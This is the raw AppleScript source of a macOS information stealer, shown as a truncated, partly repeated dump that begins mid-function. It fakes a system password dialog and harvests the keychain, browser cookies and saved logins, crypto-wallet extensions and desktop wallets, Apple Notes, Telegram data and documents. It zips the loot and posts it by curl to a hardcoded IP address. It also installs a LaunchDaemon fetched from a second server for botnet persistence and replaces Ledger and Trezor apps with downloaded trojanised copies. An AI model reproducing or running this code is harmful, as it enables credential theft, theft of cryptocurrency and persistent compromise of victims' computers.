dialog \"Please enter device password to continue.\" default answer \"\" with icon imagePath buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Password Request\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then return password_entered end if end repeat end if end try return \"\" end getpwd on grabPlugins(paths, savePath, pluginList, isIndex) try set fileList to list folder paths without invisibles repeat with PFile in fileList repeat with currentPlugin in pluginList if (PFile contains currentPlugin) then set newpath to paths & PFile set newsavepath to savePath & \"/\" & currentPlugin if isIndex then set newsavepath to newsavepath & \"/IndexedDB/\" end if GrabFolder(newpath, newsavepath) end if end repeat end repeat end try end grabPlugins on chromium(writemind, chromium_map) set pluginList to {\"ldinpeekobnhjjdofggfgjlcehhmanlj\", \"nphplpgoakhhjchkkhmiggakijnkhfnd\", \"jbkgjmpfammbgejcpedggoefddacbdia\", \"fccgmnglbhajioalokbcidhcaikhlcpm\", \"nebnhfamliijlghikdgcigoebonmoibm\", \"fdcnegogpncmfejlfnffnofpngdiejii\", \"mfhbebgoclkghebffdldpobeajmbecfk\", \"ffbceckpkpbcmgiaehlloocglmijnpmp\", \"kfdniefadaanbjodldohaedphafoffoh\", \"bedogdpgdnifilpgeianmmdabklhfkcn\", \"kpfchfdkjhcoekhdldggegebfakaaiog\", \"klnaejjgbibmhlephnhpmaofohgkpgkd\", \"opcgpfmipidbgpenhmajoajpbobppdil\", \"mmmjbcfofconkannjonfmjjajpllddbg\", \"modjfdjcodmehnpccdjngmdfajggaoeh\", \"dkdedlpgdmmkkfjabffeganieamfklkm\", \"ifclboecfhkjbpmhgehodcjpciihhmif\", \"ppbibelpcjmhbdihakflkdcoccbgbkpo\", \"ejjladinnckdgjemekebdpeokbikhfci\", \"kkpllkodjeloidieedojogacfhpaihoh\", \"apnehcjmnengpnmccpaibjmhhoadaico\", \"jiepnaheligkibgcjgjepjfppgbcghmp\", \"jojhfeoedkpkglbfimdfabpdfjaoolaf\", \"idpdilbfamoopcfofbipefhmmnflljfi\", \"lbjapbcmmceacocpimbpbidpgmlmoaao\", \"oiohdnannmknmdlddkdejbmplhbdcbee\", \"fldfpgipfncgndfolcbkdeeknbbbnhcc\", \"fpkhgmpbidmiogeglndfbkegfdlnajnf\", \"lgmpcpglpngdoalbgeoldeajfclnhafa\", \"ilhaljfiglknggcoegeknjghdgampffk\", \"pfccjkejcgoppjnllalolplgogenfojk\", \"cnmamaachppnkjgnildpdmkaakejnhae\", \"eajafomhmkipbjmfmhebemolkcicgfmd\", \"emeeapjkbcbpbpgaagfchmcgglmebnen\", \"ibnejdfjmmkpcnlpebklmnkoeoihofec\", \"hifafgmccdpekplomjjkcfgodnhcellj\", \"ffnbelfdoeiohenkjibnmadjiehjhajb\", \"fnjhmkhhmkbjkkabndcnnogagogbneec\", \"bcopgchhojmggmffilplmbdicgaihlkp\", \"cmoakldedjfnjofgbbfenefcagmedlga\", \"ifckdpamphokdglkkdomedpdegcjhjdp\", \"ibljocddagjghmlpgihahamcghfggcjc\", \"cjmkndjhnagcfbpiemnkdpomccnjblmj\", \"kbdcddcmgoplfockflacnnefaehaiocb\", \"cgeeodpfagjceefieflmdfphplkenlfk\", \"afbcbjpbpfadlkmhmclhkeeodmamcflc\", \"fdchdcpieegfofnofhgdombfckhbcokj\", \"gjlmehlldlphhljhpnlddaodbjjcchai\", \"ellkdbaphhldpeajbepobaecooaoafpg\", \"ojbcfhjmpigfobfclfflafhblgemeidi\", \"ghlmndacnhlaekppcllcpcjjjomjkjpg\", \"kgdijkcfiglijhaglibaidbipiejjfdp\", \"abkahkcbhngaebpcgfmhkoioedceoigp\", \"ammjlinfekkoockogfhdkgcohjlbhmff\", \"pdliaogehgdbhbnmkklieghmmjkpigpa\", \"jnlgamecbpmbajjfhmmmlhejkemejdma\", \"nbdhibgjnjpnkajaghbffjbkcgljfgdi\", \"jfdlamikmbghhapbgfoogdffldioobgl\", \"fijngjgcjhjmmpcmkeiomlglpeiijkld\", \"hgbeiipamcgbdjhfflifkgehomnmglgk\", \"pmmnimefaichbcnbndcfpaagbepnjaig\", \"cflgahhmjlmnjbikhakapcfkpbcmllam\", \"keenhcnmdmjjhincpilijphpiohdppno\", \"bipdhagncpgaccgdbddmbpcabgjikfkn\", \"bcenedbpaaegpnijoadpdjiachahncdg\", \"pocmplpaccanhmnllbbkpgfliimjljgo\", \"klghhnkeealcohjjanjjdaeeggmfmlpl\", \"cjookpbkjnpkmknedggeecikaponcalb\", \"ojggmchlghnjlapmfbnjholfjkiidbch\", \"dngmlblcodfobpdpecaadgfbcggfjfnm\", \"jnldfbidonfeldmalbflbmlebbipcnle\", \"ehjiblpccbknkgimiflboggcffmpphhp\", \"agoakfejjabomempkjlepdflaleeobhb\", \"fopmedgnkfpebgllppeddmmochcookhc\", \"dmkamcknogkgcdfhhbddcghachkejeap\", \"iglbgmakmggfkoidiagnhknlndljlolb\", \"opfgelmcmbiajamepnmloijbpoleiama\", \"gkeelndblnomfmjnophbhfhcjbcnemka\", \"dgiehkgfknklegdhekgeabnhgfjhbajd\", \"gafhhkghbfjjkeiendhlofajokpaflmk\", \"imlcamfeniaidioeflifonfjeeppblda\", \"penjlddjkjgpnkllboccdgccekpkcbin\", \"nhnkbkgjikgcigadomkphalanndcapjk\", \"egjidjbpglichdcondbcbdnbeeppgdph\", \"dlcobpjiigpikoobohmabehhmhfoodbb\", \"dldjpboieedgcmpkchcjcbijingjcgok\", \"acmacodkjbdgmoleebolmdjonilkdbch\", \"lccbohhgfkdikahanoclbdmaolidjdfl\", \"pcndjhkinnkaohffealmlmhaepkpmgkb\", \"gjagmgiddbbciopjhllkdnddhcglnemk\", \"cnncmdhjacpkmjmkcafchppbnpnhdmon\", \"mfgccjchihfkkindfppnaooecgfneiii\", \"ieldiilncjhfkalnemgjbffmpomcaigi\", \"ckklhkaabbmdjkahiaaplikpdddkenic\", \"loinekcabhlmhjjbocijdoimmejangoa\", \"mgffkfbidihjpoaomajlbgchddlicgpn\", \"pnndplcbkakcplkjnolgbkdgjikjednm\", \"mcohilncbfahbmgdjkbpemcciiolgcge\", \"bgpipimickeadkjlklgciifhnalhdjhe\", \"pdadjkfkgcafgbceimcpbkalnfnepbnk\", \"jiidiaalihmmhddjgbnbgdfflelocpak\", \"aeachknmefphepccionboohckonoeemg\", \"gdokollfhmnbfckbobkdbakhilldkhcj\", \"jiiigigdinhhgjflhljdkcelcjfmplnd\", \"kmphdnilpmdejikjdnlbcnmnabepfgkh\", \"jaooiolkmfcmloonphpiiogkfckgciom\", \"fcckkdbjnoikooededlapcalpionmalo\", \"mdnaglckomeedfbogeajfajofmfgpoae\", \"ebfidpplhabeedpnhjnobghokpiioolj\", \"dbgnhckhnppddckangcjbkjnlddbjkna\", \"cpmkedoipcpimgecpmgpldfpohjplkpp\", \"epapihdplajcdnnkdeiahlgigofloibg\", \"iokeahhehimjnekafflcihljlcjccdbe\", \"cihmoadaighcejopammfbmddcmdekcje\", \"hnfanknocfeofbddgcijnmhnfnkdnaad\", \"kilnpioakcdndlodeeceffgjdpojajlo\", \"abogmiocnneedmmepnohnhlijcjpcifd\", \"bofddndhbegljegmpmnlbhcejofmjgbn\", \"aholpfdialjgjfhomihkjbmgjidlcdno\", \"hdkobeeifhdplocklknbnejdelgagbao\", \"oafedfoadhdjjcipmcbecikgokpaphjk\", \"bfnaelmomeimhlpmgjnjophhpkkoljpa\", \"nkbihfbeogaeaoehlefnkodbefgpgknn\", \"lfmmjkfllhmfmkcobchabopkcefjkoip\", \"aiifbnbfobpmeekipheeijimdpnlpgpp\", \"anokgmphncpekkhclmingpimjmcooifb\", \"mnfifefkajgofkcjkemidiaecocnkjeh\", \"momakdpclmaphlamgjcndbgfckjfpemp\", \"akkmagafhjjjjclaejjomkeccmjhdkpa\", \"ehgjhhccekdedpbkifaojjaefeohnoea\", \"mkpegjkblkkefacfnmkajcjmabijhclg\", \"mlhakagmgkmonhdonhkpjeebfphligng\", \"niiaamnmgebpeejeemoifgdndgeaekhe\", \"jnmbobjmhlngoefaiojfljckilhhlhcj\", \"onhogfjeacnfoofkfgppdlbmlmnplgbn\", \"kppfdiipphfccemcignhifpjkapfbihd\", \"hcjhpkgbmechpabifbggldplacolbkoh\", \"flpiciilemghbmfalicajoolhkkenfel\", \"mlbnicldlpdimbjdcncnklfempedeipj\", \"cfbfdhimifdmdehjmkdobpcjfefblkjm\", \"ocjobpilfplciaddcbafabcegbilnbnb\", \"pgiaagfkgcbnmiiolekcfmljdagdhlcm\", \"enabgbdfcbaehmbigakijjabdpdnimlg\", \"bifidjkcdpgfnlbcjpdkdcnbiooooblg\", \"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\", \"nlgbhdfgdhgbiamfdfmbikcdghidoadd\", \"fcfcfllfndlomdhbehjjcoimbgofdncg\", \"lpilbniiabackdjcionkobglmddfbcjo\", \"efbglgofoippbgcjepnhiblaibcnclgk\", \"fhbohimaelbohpjbbldcngcnapndodjp\", \"gkodhkbmiflnmkipcmlhhgadebbeijhh\", \"bocpokimicclpaiekenaeelehdjllofo\", \"bhhhlbepdkbapadjdnnojkbgioiodbic\", \"aflkmfhebedbjioipglgcbcmnbpgliof\", \"mkchoaaiifodcflmbaphdgeidocajadp\", \"mapbhaebnddapnmifbbkgeedkeplgjmf\", \"lmkncnlpeipongihbffpljgehamdebgi\", \"gjnckgkfmgmibbkoficdidcljeaaaheg\", \"ppdadbejkmjnefldpcdjhnkpbjkikoip\", \"bopcbmipnjdcdfflfgjdgdjejmgpoaab\", \"kamfleanhcmjelnhaeljonilnmjpkcjc\", \"cphhlgmgameodnhkjdmkpanlelnlohao\", \"hnhobjmcibchnmglfbldbfabcgaknlkj\", \"nknhiehlklippafakaeklbeglecifhad\", \"kjjebdkfeagdoogagbhepmbimaphnfln\", \"phkbamefinggmakgklpkljjmgibohnba\", \"lakggbcodlaclcbbbepmkpdhbcomcgkd\", \"ookjlbkiijinhpmnjffcofjonbfbgaoc\", \"mdjmfdffdcmnoblignmgpommbefadffd\", \"jblndlipeogpafnldhgmapagcccfchpi\", \"hbbgbephgojikajhfbomhlmmollphcad\", \"dpcklmdombjcplafheapiblogdlgjjlb\", \"hmeobnfnfcmdkdcmlblgagmfpfboieaf\", \"kmhcihpebfmpgmihbkipmjlmmioameka\", \"kennjipeijpeengjlogfdjkiiadhbmjl\", \"amkmjjmmflddogmhpjloimipbofnfjih\", \"idnnbdplmphpflfnlkomgpfbpcgelopg\", \"fmblappgoiilbgafhjklehhfifbdocee\", \"heamnjbnflcikcggoiplibfommfbkjpj\", \"khpkpbbcccdmmclmpigdgddabeilkdpd\", \"omaabbefbmiijedngplfjmnooppbclkk\", \"nhlnehondigmgckngjomcpcefcdplmgc\", \"fiikommddbeccaoicoejoniammnalkfa\", \"ejbidfepgijlcgahbmbckmnaljagjoll\", \"glmhbknppefdmpemdmjnjlinpbclokhn\", \"kncchdigobghenbbaddojjnnaogfppfj\", \"hpclkefagolihohboafpheddmmgdffjm\", \"ilolmnhjbbggkmopnemiphomhaojndmb\", \"panpgppehdchfphcigocleabcmcgfoca\", \"nngceckbapebfimnlniiiahkandclblb\", \"hdokiejnpimakedhajhdlcegeplioahd\", \"eiaeiblijfjekdanodkjadfinkhbfgcd\", \"bfogiafebfohielmmehodmfbbebbbpei\", \"pnlccmojcmeohlpggmfnbbiapkmbliob\", \"aeblfdkhhhdcdjpifhhbdiojplfjncoa\", \"kmcfomidfpdkfieipokbalgegidffkal\", \"fdjamakpfbbddfjaooikfcpapjohcfmg\", \"ghmbeldphafepmbegfdlkpapadhbakde\", \"cnlhokffphohmfcddnibpohmkdfafdli\", \"khhapgacijodhjokkcjmleaempmchlem\", \"admmjipmmciaobhojoghlmleefbicajg\", \"caljgklbbfbcjjanaijlacgncafpegll\", \"bdgmdoedahdcjmpmifafdhnffjinddgc\", \"bhghoamapcdpbohphigoooaddinpkbai\", \"iklgijhacenjgjgdnpnohbafpbmnccek\", \"bbphmbmmpomfelajledgdkgclfekilei\", \"npjilhodcgmigpladpfkkclbmkebalfd\", \"gmegpkknicehidppoebnmbhndjigpica\", \"ibpjepoimpcdofeoalokgpjafnjonkpc\", \"gmohoglkppnemohbcgjakmgengkeaphi\", \"pdiccmolmknojplidnlkaenkejbminpp\", \"dbfoemgnkgieejfkaddieamagdfepnff\", \"mmhlniccooihdimnnjhamobppdhaolme\", \"lgbjhdkjmpgjgcbcdlhkokkckpjmedgc\", \"deelhmmhejpicaaelihagchjjafjapjc\", \"hldllnfgjbablcfcdcjldbbfopmohnda\", \"igkpcodhieompeloncfnbekccinhapdb\", \"ajgehecfkfhindkhdcjmifbngkfdflla\", \"kghbmcgihmefcbjlfiafjcigdcbmecbf\", \"gejiddohjgogedgjnonbofjigllpkmbf\", \"didegimhafipceonhjepacocaffmoppf\", \"bnfdmghkeppfadphbnkjcicejfepnbfe\", \"gcmahhkjkpigcpfpmdjnbiakmbdegfeh\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\", \"/IndexedDB/\"} repeat with chromiumBrowser in chromium_map set savePath to writemind & \"chromium/\" & item 1 of chromiumBrowser & \"_\" try set fileList to list folder item 2 of chromiumBrowser without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of chromiumBrowser & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath, savePath & currentItem, pluginList, false) else if (CFile as string) is equal to \"/IndexedDB/\" then grabPlugins(readpath, savePath & currentItem, pluginList, true) else set writepath to savePath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on gecko(writemind, geckoMap) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} repeat with geckoBrowser in geckoMap try set browserName to item 1 of geckoBrowser set browserPath to item 2 of geckoBrowser set fileList to list folder browserPath without invisibles repeat with currentItem in fileList set fpath to writemind & \"gecko/\" & browserName & \"_\" & currentItem set readpath to browserPath & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end repeat end try end gecko on filegrabber(writemind) try set destFolder to writemind & \"finder/\" set destinationFolderPath to POSIX file destFolder set notesMediaFolder to POSIX file (destFolder & \"NotesMedia/\") set extensionsList to {\"txt\", \"pdf\", \"docx\", \"wallet\", \"key\", \"keys\", \"doc\", \"jpeg\", \"png\", \"kdbx\", \"rtf\", \"jpg\", \"seed\"} set bankSize to 0 set notesBankSize to 0 set uuidString to do shell script \"system_profiler SPHardwareDataType | awk \\\"/UUID/ { print \$3 }\\\"\" mkdir(destinationFolderPath) mkdir(notesMediaFolder) tell application \"Finder\" try set safariFolderPath to (path to home folder as text) & \"Library:Cookies:\" duplicate file (safariFolderPath & \"Cookies.binarycookies\") to folder destinationFolderPath with replacing set name of result to \"saf1\" end try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {\"NoteStore.sqlite\", \"NoteStore.sqlite-shm\", \"NoteStore.sqlite-wal\"} repeat with aFile in notesFiles try duplicate (file aFile of notesFolder) to folder destinationFolderPath with replacing end try end repeat end try set notesAccountsPath to (notesFolderPath & \"Accounts:\") try set notesAccountsFolder to folder notesAccountsPath set notesAccountsFiles to every folder of notesAccountsFolder repeat with nFile in notesAccountsFiles set notesMediaPath to notesAccountsPath & name of nFile & \":Media:\" set notesMediaAllProfiles to every folder of (folder notesMediaPath) repeat with profileFolder in notesMediaAllProfiles set notesMediaProfilesPath to notesMediaPath & name of profileFolder set notesMediaProfileFiles to every folder of (folder notesMediaProfilesPath) repeat with notesUUID in notesMediaProfileFiles set noteIdFiles to every file of notesUUID repeat with notesIdFile in noteIdFiles try set fileSize to size of notesIdFile as text set notesBankSize to notesBankSize + fileSize if notesBankSize < 12 * 1024 * 1024 then duplicate notesIdFile to notesMediaFolder with replacing else exit repeat end if end try end repeat end repeat end repeat end repeat end try try set safariFolderPath to (path to library folder from user domain as text) & \"Safari:\" duplicate (file \"Form Values\" of folder safariFolderPath) to destinationFolderPath with replacing end try try set keychainFolder to (path to library folder from user domain as text) & \"Keychains:\" & uuidString duplicate folder keychainFolder to destinationFolderPath with replacing end try try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on notes(writemind) try set realoutput to \"\" set total_length to 0 tell application \"Notes\" set outputList to {} set allAccounts to every account repeat with anAccount in allAccounts try set noteProperties to properties of every note in anAccount set total_length to total_length + (length of noteProperties) repeat with aNote in noteProperties try set noteLine to (creation date of aNote) & return & (body of aNote) copy noteLine to end of outputList end try end repeat end try end repeat set realoutput to outputList as text end tell if total_length > 0 then set realoutput to \"<h1>Notes Count: \" & (total_length as text) & \"</h1> <br><br><br> \" & realoutput writeText(realoutput, writemind & \"finder/notes.html\") end if end try end notes on telegram(writemind, library) try set tgPath to library & \"Telegram Desktop/tdata/\" set tgSavePath to writemind & \"tg/\" readwrite(tgPath & \"key_datas\", tgSavePath & \"key_datas\") set tgFiles to list folder tgPath without invisibles set needFiles to {} repeat with tgFile in tgFiles set checkName to tgFile & \"s\" if checkName is in tgFiles then copy tgFile to end of needFiles end if end repeat repeat with needFile in needFiles readwrite(tgPath & needFile & \"s\", tgSavePath & needFile & \"s\") readwrite(tgPath & needFile & \"/maps\", tgSavePath & needFile & \"/maps\") end repeat end try end telegram on telegramV2(writemind, libraryRaw) try set tgPath to libraryRaw & \"Group Containers/6N38VWS5BX.ru.keepcoder.Telegram/stable/\" set tgSavePath to writemind & \"tgmac/stable/\" set tgFiles to list folder tgPath without invisibles repeat with tgFile in tgFiles if isDir(tgPath & tgFile) and tgFile contains \"account\" then GrabFolder(tgPath & tgFile, tgSavePath & tgFile) end if end repeat readwrite(tgPath & \".tempkeyEncrypted\", tgSavePath & \".tempkeyEncrypted\") end try end telegramV2 on botnet_init(macUsername, pwd, bothandlerAddr) try set plistAutoStart to (do shell script \"curl -s \" & bothandlerAddr & \"/api/v1/getscpt/\" & macUsername) writeText(plistAutoStart, \"/tmp/starter\") do shell script \"echo \" & quoted form of pwd & \" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.xdivcmp.plist\" try do shell script \"echo \" & quoted form of pwd & \" | sudo -S launchctl bootstrap system /Library/LaunchDaemons/com.xdivcmp.plist\" on error do shell script \"nohup \" & mybotnet & \" >/dev/null 2>&1 &\" end try end try end botnet_init on swapApp(password_entered, serverIP, appName, serverFileName) try set appPath to \"/Applications/\" & appName & \".app\" set tmpFilePath to \"/tmp/\" & serverFileName set filePathURL to serverIP & \"/web/\" & serverFileName list folder POSIX file appPath do shell script \"curl \" & quoted form of filePathURL & \" -o \" & quoted form of tmpFilePath try do shell script \"pkill \" & quoted form of appName end try if password_entered is not equal to \"\" then do shell script \"echo \" & quoted form of password_entered & \" | sudo -S rm -rf \" & quoted form of appPath else do shell script \"rm -rf \" & quoted form of appPath end if delay 1 do shell script \"ditto -x -k \" & quoted form of tmpFilePath & \" /Applications\" end try end swapApp on send_data(attempt, outUsername, serverIP) try set result_send to (do shell script \"curl -X POST -H \\\"buildid: a1e5c09d66b641d8b680f31dca962845\\\" -H \\\"username: \" & outUsername & \"\\\" --data-binary @/tmp/xdivcmp.zip \" & serverIP & \"/log\") on error if attempt < 10 then delay 60 send_data(attempt + 1, outUsername, serverIP) end if end try end send_data set outUsername to \"xxx\" set serverIP to \"http://172.94.9.250\" set macUsername to (system attribute \"USER\") set writemind to \"/tmp/xdivcmp/\" set homePath to \"/Users/\" & macUsername & \"/\" set libraryRaw to homePath & \"Library/\" set library to libraryRaw & \"Application Support/\" set appsTxt to \"\" set majorVersion to 0 set minorVersion to 0 try set apps to list folder \"/Applications\" repeat with appName in apps set appsTxt to appsTxt & appName & return end repeat writeText(appsTxt, writemind & \"installedSoft\") set macOSVers to (do shell script \"sw_vers -productVersion\") set {tid, text item delimiters} to {text item delimiters, \".\"} set majorVersion to text item 1 of macOSVers as integer set minorVersion to text item 2 of macOSVers as integer set text item delimiters to tid end try set masterpassGot to false if appsTxt contains \"Google Chrome.app\" then if majorVersion is equal to 26 and minorVersion > 3 then set masterpassGot to true chromemasterpass(writemind) end if if majorVersion > 26 then set masterpassGot to true chromemasterpass(writemind) end if end if set passwordEntered to readfile(homePath & \".pwd\") if not masterpassGot then if not checkvalid(macUsername, passwordEntered) then set passwordEntered to getpwd(macUsername, writemind, appsTxt) end if delay 0.01 end if try filegrabber(writemind) if readfile(writemind & \"finder/NoteStore.sqlite\") is equal to \"\" then notes(writemind) end if telegram(writemind, library) telegramV2(writemind, libraryRaw) end try set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"}, {\"Brave\", library & \"BraveSoftware/Brave-Browser/\"}, {\"Edge\", library & \"Microsoft Edge/\"}, {\"Vivaldi\", library & \"Vivaldi/\"}, {\"Opera\", library & \"com.operasoftware.Opera/\"}, {\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}, {\"Chrome Beta\", library & \"Google/Chrome Beta/\"}, {\"Chrome Canary\", library & \"Google/Chrome Canary/\"}, {\"Chromium\", library & \"Chromium/\"}, {\"Chrome Dev\", library & \"Google/Chrome Dev/\"}, {\"Arc\", library & \"Arc/User Data/\"}, {\"CocCoc\", library & \"CocCoc/Browser/\"}} set walletMap to {{\"Electrum\", homePath & \".electrum/wallets/\"}, {\"Coinomi\", library & \"Coinomi/wallets/\"}, {\"Exodus\", library & \"Exodus/\"}, {\"Atomic\", library & \"atomic/Local Storage/leveldb/\"}, {\"Wasabi\", homePath & \".walletwasabi/client/Wallets/\"}, {\"Ledger_Live\", library & \"Ledger Live/\"}, {\"Monero\", homePath & \"Monero/wallets/\"}, {\"Bitcoin_Core\", library & \"Bitcoin/wallets/\"}, {\"Litecoin_Core\", library & \"Litecoin/wallets/\"}, {\"Dash_Core\", library & \"DashCore/wallets/\"}, {\"Electrum_LTC\", homePath & \".electrum-ltc/wallets/\"}, {\"Electron_Cash\", homePath & \".electron-cash/wallets/\"}, {\"Guarda\", library & \"Guarda/\"}, {\"Dogecoin_Core\", library & \"Dogecoin/wallets/\"}, {\"Trezor_Suite\", library & \"@trezor/suite-desktop/\"}, {\"Sparrow\", homePath & \".sparrow/wallets/\"}} set geckoMap to {{\"Firefox\", library & \"Firefox/Profiles/\"}, {\"Waterfox\", library & \"Waterfox/Profiles/\"}} readwrite(libraryRaw & \"Keychains/login.keychain-db\", writemind & \"kc\") writeText(passwordEntered, writemind & \"pwd\") writeText(macUsername, writemind & \"user\") try set result_userinfo to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result_userinfo, writemind & \"hardware\") end try repeat with deskWallet in walletMap GrabFolder(item 2 of deskWallet, writemind & \"deskwallets/\" & item 1 of deskWallet) end repeat chromium(writemind, chromiumMap) gecko(writemind, geckoMap) do shell script \"ditto -c -k --sequesterRsrc /tmp/xdivcmp /tmp/xdivcmp.zip\" send_data(0, outUsername, serverIP) do shell script \"rm -rf /tmp/xdivcmp\" do shell script \"rm -f /tmp/xdivcmp.zip\" try set bothandlerAddr to \"http://192.253.248.181\" if bothandlerAddr is not equal to \"false\" then if readfile(homePath & \".botid\") is equal to \"\" then if passwordEntered is not equal to \"\" then writeText(passwordEntered, homePath & \".pwd\") writeText(serverIP, homePath & \".phost\") writeText(bothandlerAddr, homePath & \".bhost\") writeText(outUsername, homePath & \".username\") botnet_init(macUsername, passwordEntered, bothandlerAddr) end if end if end if swapApp(passwordEntered, bothandlerAddr, \"Ledger Live\", \"ledger.zip\") swapApp(passwordEntered, bothandlerAddr, \"Ledger Wallet\", \"ledgerwallet.zip\") swapApp(passwordEntered, bothandlerAddr, \"Trezor Suite\", \"trezor.zip\") end try --\$ERROR\$'"

osascript -e "on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on isDir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if end try return false end isDir on readfile(pather) try set theFile to POSIX file pather set fileContents to read theFile return fileContents end try return \"\" end readfile on Directory(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try return \"\" end Directory on writeText(textToWrite, filePath) try set folderPath to Directory(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) set eof of fileRef to 0 write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set fileContent to read path_to_file set folderPath to Directory(path_as_save) mkdir(folderPath) do shell script \"cat \" & quoted form of path_to_file & \" > \" & quoted form of path_as_save end try end readwrite on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\", \"journals\", \"Previews\", \"GPUCache\", \"DawnCache\", \"Crashpad\", \"DawnWebGPUCache\", \"DawnGraphiteCache\", \"__update__\", \"tor\", \"media\", \"calls\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDir(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on chromemasterpass(writemind) try repeat 30 times set cmd to \"security find-generic-password -ga \\\"Chrome\\\" 2>&1 >/dev/null | sed -n \\\"s/^password: \\\\\\\"\\\\(.*\\\\)\\\\\\\"/\\\\1/p\\\"\" set masterpass to do shell script cmd if masterpass is not equal to \"\" then writeText(masterpass, writemind & \"masterpass-chrome\") exit repeat end if delay 0.05 end repeat end try end chromemasterpass on getpwd(username, writemind, appsTxt) try set imagePath to \"/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns\" as POSIX file if checkvalid(username, \"\") then if appsTxt contains \"Google Chrome.app\" then chromemasterpass(writemind) end if else repeat 30 times set result to display dialog \"Please enter device password to continue.\" default answer \"\" with icon imagePath buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Password Request\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then return password_entered end if end repeat end if end try return \"\" end getpwd on grabPlugins(paths, savePath, pluginList, isIndex) try set fileList to list folder paths without invisibles repeat with PFile in fileList repeat with currentPlugin in pluginList if (PFile contains currentPlugin) then set newpath to paths & PFile set newsavepath to savePath & \"/\" & currentPlugin if isIndex then set newsavepath to newsavepath & \"/IndexedDB/\" end if GrabFolder(newpath, newsavepath) end if end repeat end repeat end try end grabPlugins on chromium(writemind, chromium_map) set pluginList to {\"ldinpeekobnhjjdofggfgjlcehhmanlj\", \"nphplpgoakhhjchkkhmiggakijnkhfnd\", \"jbkgjmpfammbgejcpedggoefddacbdia\", \"fccgmnglbhajioalokbcidhcaikhlcpm\", \"nebnhfamliijlghikdgcigoebonmoibm\", \"fdcnegogpncmfejlfnffnofpngdiejii\", \"mfhbebgoclkghebffdldpobeajmbecfk\", \"ffbceckpkpbcmgiaehlloocglmijnpmp\", \"kfdniefadaanbjodldohaedphafoffoh\", \"bedogdpgdnifilpgeianmmdabklhfkcn\", \"kpfchfdkjhcoekhdldggegebfakaaiog\", \"klnaejjgbibmhlephnhpmaofohgkpgkd\", \"opcgpfmipidbgpenhmajoajpbobppdil\", \"mmmjbcfofconkannjonfmjjajpllddbg\", \"modjfdjcodmehnpccdjngmdfajggaoeh\", \"dkdedlpgdmmkkfjabffeganieamfklkm\", \"ifclboecfhkjbpmhgehodcjpciihhmif\", \"ppbibelpcjmhbdihakflkdcoccbgbkpo\", \"ejjladinnckdgjemekebdpeokbikhfci\", \"kkpllkodjeloidieedojogacfhpaihoh\", \"apnehcjmnengpnmccpaibjmhhoadaico\", \"jiepnaheligkibgcjgjepjfppgbcghmp\", \"jojhfeoedkpkglbfimdfabpdfjaoolaf\", \"idpdilbfamoopcfofbipefhmmnflljfi\", \"lbjapbcmmceacocpimbpbidpgmlmoaao\", \"oiohdnannmknmdlddkdejbmplhbdcbee\", \"fldfpgipfncgndfolcbkdeeknbbbnhcc\", \"fpkhgmpbidmiogeglndfbkegfdlnajnf\", \"lgmpcpglpngdoalbgeoldeajfclnhafa\", \"ilhaljfiglknggcoegeknjghdgampffk\", \"pfccjkejcgoppjnllalolplgogenfojk\", \"cnmamaachppnkjgnildpdmkaakejnhae\", \"eajafomhmkipbjmfmhebemolkcicgfmd\", \"emeeapjkbcbpbpgaagfchmcgglmebnen\", \"ibnejdfjmmkpcnlpebklmnkoeoihofec\", \"hifafgmccdpekplomjjkcfgodnhcellj\", \"ffnbelfdoeiohenkjibnmadjiehjhajb\", \"fnjhmkhhmkbjkkabndcnnogagogbneec\", \"bcopgchhojmggmffilplmbdicgaihlkp\", 